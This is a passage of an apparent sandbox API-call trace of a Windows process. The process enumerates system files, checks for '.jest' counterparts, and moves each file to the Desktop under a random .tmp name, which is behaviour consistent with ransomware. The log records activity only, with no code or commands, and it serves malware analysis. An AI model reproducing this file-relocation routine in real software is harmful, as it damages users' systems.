Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x78, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0x143ce48 [0123.644] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.645] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e780*="WinFXList.xml") returned 0x4c [0123.645] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e780*="WinFXList.xml") returned 0x4c [0123.646] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.646] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x292)) [0123.646] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x292)) [0123.646] GetUserDefaultLCID () returned 0x409 [0123.646] VarBstrFromR4 (in: fltIn=0x479443d4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.66") returned 0x0 [0123.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0123.646] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e780*="WinFXList.xml") returned 0x4c [0123.647] GetFullPathNameA (in: lpFileName="_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", lpFilePart=0x18e708*="_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp") returned 0x8f [0123.647] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", lpFilePart=0x18e708*="WinFXList.xml") returned 0x4c [0123.647] MoveFileA (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_vy4fcmjwt1 libcc-bmqw2fzez6jm8pc34umomtm7x ebkpvzkcqghpiw_bgzah 0iooupze-dm7f_btkthosu5nocndzf-xxd_8.tmp")) returned 1 [0123.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", lpUsedDefaultChar=0x0) returned 106 [0123.649] GetFullPathNameA (in: lpFileName="_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", lpFilePart=0x18e6e4*="_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp") returned 0x8f [0123.649] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80ba410, ftLastWriteTime.dwHighDateTime=0x1d6080d, nFileSizeHigh=0x0, nFileSizeLow=0xa13, dwReserved0=0x1445ff0, dwReserved1=0x1410000, cFileName="_Vy4fCMJwt1 lIBCC-bMQw2FZez6jM8PC34UmOmTm7X ebKpVZkcqghpiw_bgzah 0ioOupZe-DM7f_bTktHOSu5nocndZF-xXD_8.tmp", cAlternateFileName="_VY4FC~1.TMP")) returned 0x143ce48 [0123.649] FileTimeToLocalFileTime (in: lpFileTime=0x18e6c8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.649] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.649] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d0, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.650] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.650] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.650] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.653] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.653] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.654] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e870*="FrameworkList.xml") returned 0x5b [0123.725] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.jest", lpFilePart=0x18e870*="FrameworkList.xml.jest") returned 0x60 [0123.727] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e6d8*="FrameworkList.xml") returned 0x5b [0123.727] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x78, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0x143ce48 [0123.727] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.728] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e780*="FrameworkList.xml") returned 0x5b [0123.729] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e780*="FrameworkList.xml") returned 0x5b [0123.730] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.730] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x2e0)) [0123.730] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x2e0)) [0123.730] GetUserDefaultLCID () returned 0x409 [0123.730] VarBstrFromR4 (in: fltIn=0x479443de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.73") returned 0x0 [0123.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1 [0123.731] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e780*="FrameworkList.xml") returned 0x5b [0123.731] GetFullPathNameA (in: lpFileName="XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", lpFilePart=0x18e708*="XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp") returned 0x8e [0123.731] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", lpFilePart=0x18e708*="FrameworkList.xml") returned 0x5b [0123.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xzfzcv_gyazof3ymenwit04qdf2vbumknmdbx9i7xyirgje4cgycjteblyp-sp3ld8efhmgtlobezf_dkf5ve1guds2y_o2jjoax.tmp")) returned 1 [0123.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", lpUsedDefaultChar=0x0) returned 105 [0123.734] GetFullPathNameA (in: lpFileName="XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", lpFilePart=0x18e6e4*="XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp") returned 0x8e [0123.734] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8178af0, ftLastWriteTime.dwHighDateTime=0x1d6080d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd5, dwReserved0=0x18e784, dwReserved1=0x1a6c8, cFileName="XZFzCV_gYaZoF3YMEnwiT04QdF2vBumkNMdbX9i7XyiRgJE4cgYcjTEblyP-Sp3Ld8eFhMGTLobezf_DKf5Ve1gUdS2y_o2JjOaX.tmp", cAlternateFileName="XZFZCV~1.TMP")) returned 0x143ce48 [0123.734] FileTimeToLocalFileTime (in: lpFileTime=0x18e6c8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.734] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.734] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d0, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.734] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.734] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0123.734] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0123.744] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.744] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.744] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.744] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.744] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.750] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.750] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.751] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.752] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.753] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.753] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.753] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.753] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.753] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.753] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFilePart=0x18e870*="DMR_120.jpg") returned 0x46 [0123.764] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg.jest", lpFilePart=0x18e870*="DMR_120.jpg.jest") returned 0x4b [0123.766] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFilePart=0x18e6d8*="DMR_120.jpg") returned 0x46 [0123.766] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e0d5d3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e0d5d3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x550eb3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x78, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 0x143ce48 [0123.766] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.766] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFilePart=0x18e780*="DMR_120.jpg") returned 0x46 [0123.767] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFilePart=0x18e780*="DMR_120.jpg") returned 0x46 [0123.767] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.767] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x30f)) [0123.767] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x30f)) [0123.767] GetUserDefaultLCID () returned 0x409 [0123.767] VarBstrFromR4 (in: fltIn=0x479443e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.78") returned 0x0 [0123.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0123.768] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFilePart=0x18e780*="DMR_120.jpg") returned 0x46 [0123.769] GetFullPathNameA (in: 